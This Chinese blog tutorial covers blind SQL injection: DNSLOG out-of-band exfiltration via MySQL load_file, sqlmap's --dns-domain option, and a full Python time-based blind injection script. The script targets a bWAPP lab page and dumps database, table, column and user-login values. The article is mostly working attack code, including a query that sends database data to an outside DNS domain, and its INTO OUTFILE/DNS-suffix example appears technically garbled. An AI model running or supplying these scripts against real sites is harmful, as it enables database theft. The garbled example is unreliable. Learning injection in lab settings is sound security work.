当前位置: 首页 > article >正文

利用盲注技术获取表、列、具体数据

在SQL盲注中,`DNSLOG`和`SQLMap`是两种常用的工具,它们可以结合使用来实现数据的外带和注入。


1.DNSLOG在SQL盲注中的应用

DNSLOG是一种通过DNS查询来记录数据的技术,常用于无回显的漏洞利用场景,如SQL盲注。在SQL盲注中,攻击者可以通过构造特殊的SQL语句,将数据通过DNS查询发送到攻击者控制的DNS服务器上。以下是常见的实现方法:

  • 使用`load_file`函数:在MySQL中,如果攻击者拥有`root`权限且`secure_file_priv`参数为空,可以通过`load_file`函数构造DNS查询。如:

sql
  SELECT load_file(CONCAT('//', (SELECT HEX(user())), '.dnslog.com/')); 

这个语句会尝试加载一个不存在的文件,但会触发一个DNS查询,将`SELECT HEX(user())`的结果发送到`dnslog.com`。

  • 使用`INTO OUTFILE`和DNS后缀:攻击者可以将查询结果写入文件,并通过DNS后缀触发DNS查询。如:

sql
  SELECT username, email FROM orders UNION SELECT NULL, CONCAT(username, '||', email) FROM users INTO OUTFILE '/var/www/html/payload.txt'; -- %00.dnslog.com

这个查询会将结果写入文件,并尝试解析`dnslog.com`,从而将数据发送到攻击者控制的DNS服务器。


2.SQLMap的DNS数据外带功能

SQLMap是一款自动化的SQL注入工具,它支持通过DNS数据外带功能来提高注入效率。SQLMap内置了一个DNS监听模块,可以接收DNS查询并解析数据。以下是使用SQLMap进行DNS数据外带的步骤:

  • 启动SQLMap的DNS监听模块

bash
  python3 sqlmap.py --dns-server

这将启动一个DNS服务器,监听53端口。

  • 使用`--dns-domain`参数进行注入:

bash
  python3 sqlmap.py -u "http://example.com/vulnerable-page?id=1" --dns-domain=dnslog.com

SQLMap会自动构造SQL语句,将数据通过DNS查询发送到指定的域名,并通过监听模块接收数据。


3.结合使用DNSLOG和SQLMap

将DNSLOG和SQLMap结合使用可以显著提高SQL盲注的效率。

  • 启动SQLMap的DNS监听模块

bash
   python3 sqlmap.py --dns-server   

  • 构造SQL注入语句

使用`--dns-domain`参数指定DNS服务器域名,SQLMap会自动构造SQL语句,将数据通过DNS查询发送到指定的DNS服务器。

  • 查看DNS查询日志

在DNS服务器上查看查询日志,提取数据。SQLMap会自动解析DNS查询日志,并提取注入的数据。

通过这种方式,攻击者可以在不依赖目标系统回显的情况下,快速提取数据库中的数据。这种方法特别适用于时间盲注场景,可以显著提高注入效率。

    # 将网页的cookie放入HEADER中
    HEADER = {
        "cookie": "security_level=0; PHPSESSID=d3hp609rbv7fc8gelnlptudth6"
    }
    # 将传参前的URL放到BASE_URL中
    BASE_URL = "http://www.demo.com/bc/bwapp/sqli_15.php?title=Iron Man' "

获取数据库名

在这里使用‘and length(database())={} and sleep(2) -- 注入语句查询长度,and ascii(substr(database(),{},1))={} and sleep(2) -- 注入语句找到每一个字符,并且返回

# 获取数据库名的长度
def get_database_name_length() -> int:
    count = 0
    for i in range(30):
        url = BASE_URL + "and length(database())={} and sleep(2) -- &action=search".format(i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("长度为{}".format(i))
            count = i
    return count
 
 
# 获取数据库的名称
def get_database_name(count):
    name = ''
    for i in range(count + 1):
        for j in range(33, 127):
            url = BASE_URL + "and ascii(substr(database(),{},1))={} and sleep(2) -- &action=search".format(
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                name = name+chr(j)
                print("=========读取第{}个字符==========".format(i))
    print("数据库名称:"+name)

获取表的名称

# 获取数据库里有多少表
def get_table_count() -> int:
    count = 0
    for i in range(30):
        url = BASE_URL + "and (select count(table_name)from information_schema.tables where table_schema=database())={} and sleep(2) -- &action=search".format(
            i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("有{}张表".format(i))
            count = i
    return count
 
 
# 获取每个表的长度
def get_table_length_of_each_table(count):
    for i in range(count + 1):
        for j in range(30):
            url = BASE_URL + "and (select length(table_name)from information_schema.tables where table_schema=database() limit {},1)={} and sleep(2) -- &action=search".format(
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                print("=" * 20)
                print("表{}长度为:{}".format(i+1, j))
                get_table_name_of_each_table(i, j)
                print("=" * 20)
 
 
# 获取表名
def get_table_name_of_each_table(index, count):
    result = ''
    for i in range(count+1):
        for j in range(33, 127):
            url = BASE_URL+"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},1),{},1))={} and sleep(2) -- &action=search".format(
                index, i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                result = result+chr(j)
                print("=====读取第{}个字符=====".format(i))
    print("表{}的名称为:".format(index+1)+result)

获取字段的名称

# 获取字段个数
def get_column_count(table_name) -> int:
    count = 0
    for i in range(30):
        url = BASE_URL + "and (select count(column_name)from information_schema.columns where table_name='{}')={} and sleep(2) -- &action=search".format(table_name,
            i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("共发现{}个字段".format(i))
            count = i
    return count
 
 
# 获取每个字段长度
def get_column_length_of_each_table(table_name, count):
    for i in range(count + 1):
        for j in range(30):
            url = BASE_URL + "and (select length(column_name)from information_schema.columns where table_name='{}' limit {},1)={} and sleep(2) -- &action=search".format(table_name,
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                print("=" * 20)
                print("字段{}长度为:{}".format(i+1, j))
                get_column_name_of_each_table(table_name, i, j)
                print("=" * 20)
 
 
# 得到每个字段名称
def get_column_name_of_each_table(table_name, index,count):
    result = ''
    for i in range(count+1):
        for j in range(33, 127):
            url = BASE_URL+"and ascii(substr((select column_name from information_schema.columns where table_name='{}' limit {},1),{},1))={} and sleep(2) -- &action=search".format(table_name,
                index, i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                result = result+chr(j)
                print("=====读取第{}个字符=====".format(i))
    print("第{}个字段的名称为:".format(index + 1) + result)

获取值

# 获取值的个数
def get_value_count(table_name, column_name) -> int:
    count = 0
    for i in range(50):
        url = BASE_URL + "and (select count({}) from {})={} and sleep(2) -- &action=search".format(column_name, table_name, i)
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 2:
            print("共有{}个值".format(i))
            count = i
    return count
 
 
# 获取每个值的位数
def get_value_length_of_each_table(table_name, column_name, count):
    for i in range(count + 1):
        for j in range(50):
            url = BASE_URL + "and (select length({}) from {} limit {},1)={} and sleep(2) -- &action=search".format(column_name,table_name,
                i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                print("=" * 20)
                print("值的长度为:{}".format(j))
                get_value_name_of_each_table(table_name, column_name, i, j)
                print("=" * 20)
 
 
# 获取值
def get_value_name_of_each_table(table_name, column_name, index, count):
    result = ''
    for i in range(count+1):
        for j in range(33, 127):
            url = BASE_URL+"and ascii(substr((select {} from {} limit {},1),{},1))={} and sleep(2) -- &action=search".format(
                column_name, table_name, index, i, j)
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 2:
                result = result + chr(j)
                print("=====读取第{}个字符=====".format(i))
    print("第{}个值的内容为:".format(index + 1) + result)

主体内容

if __name__ == '__main__':
    # 将网页的cookie放入HEADER中
    HEADER = {
        "cookie": "security_level=0; PHPSESSID=d3hp609rbv7fc8gelnlptudth6"
    }
    # 将传参前的URL放到BASE_URL中
    BASE_URL = "http://www.demo.com/bc/bwapp/sqli_15.php?title=Iron Man' "
 
    # 1.获取数据库的名称
    # get_database_name(get_database_name_length())
 
    # 2.获取表的名称
    # get_table_length_of_each_table(get_table_count())
 
    # 3.获取字段的名称
    table_name ='users'
    # get_column_length_of_each_table(table_name, get_column_count(table_name))
 
    # 4.获取值
    column_name = 'login'
    # get_value_length_of_each_table(table_name, column_name, get_value_count(table_name, column_name))


http://www.kler.cn/a/547617.html

相关文章:

  • PyQt6/PySide6 的信号与槽原理
  • LeetCode 232: 用栈实现队列
  • Day64_20250212_图论part8_拓扑排序|dijkstrs(朴素版)
  • GRN前沿:GNNLink:使用图神经网络从单细胞RNA-seq数据预测基因调控链
  • Jenkinsfile怎么写
  • 浅识Linux高阶用法
  • 前端面试题+算法题(二)
  • STM32——HAL库开发笔记18(中断的优先级)(参考来源:b站铁头山羊)
  • ZOJ 1011 NTA
  • 基于Python Django的微博舆论分析、微博情感分析可视化系统(V2.0)【附源码、技术说明】
  • vue3+vite项目引入electron运行为桌面项目
  • HBASE面试题
  • 一口井深7米,一只蜗牛从井底往上爬每天爬3米掉下去1米,问几天能爬上井口?
  • 算法随笔_51: 表现良好的最长时间段_方法2
  • vue elementui select下拉库组件鼠标移出时隐藏下拉框
  • vscode ESP32配置
  • 【MyBatis】_动态SQL
  • OpenMetadata 获取 MySQL 数据库表血缘关系详解
  • stm32 CubeMx 实现SD卡/sd nand FATFS读写测试
  • 2025年2月14日笔记 3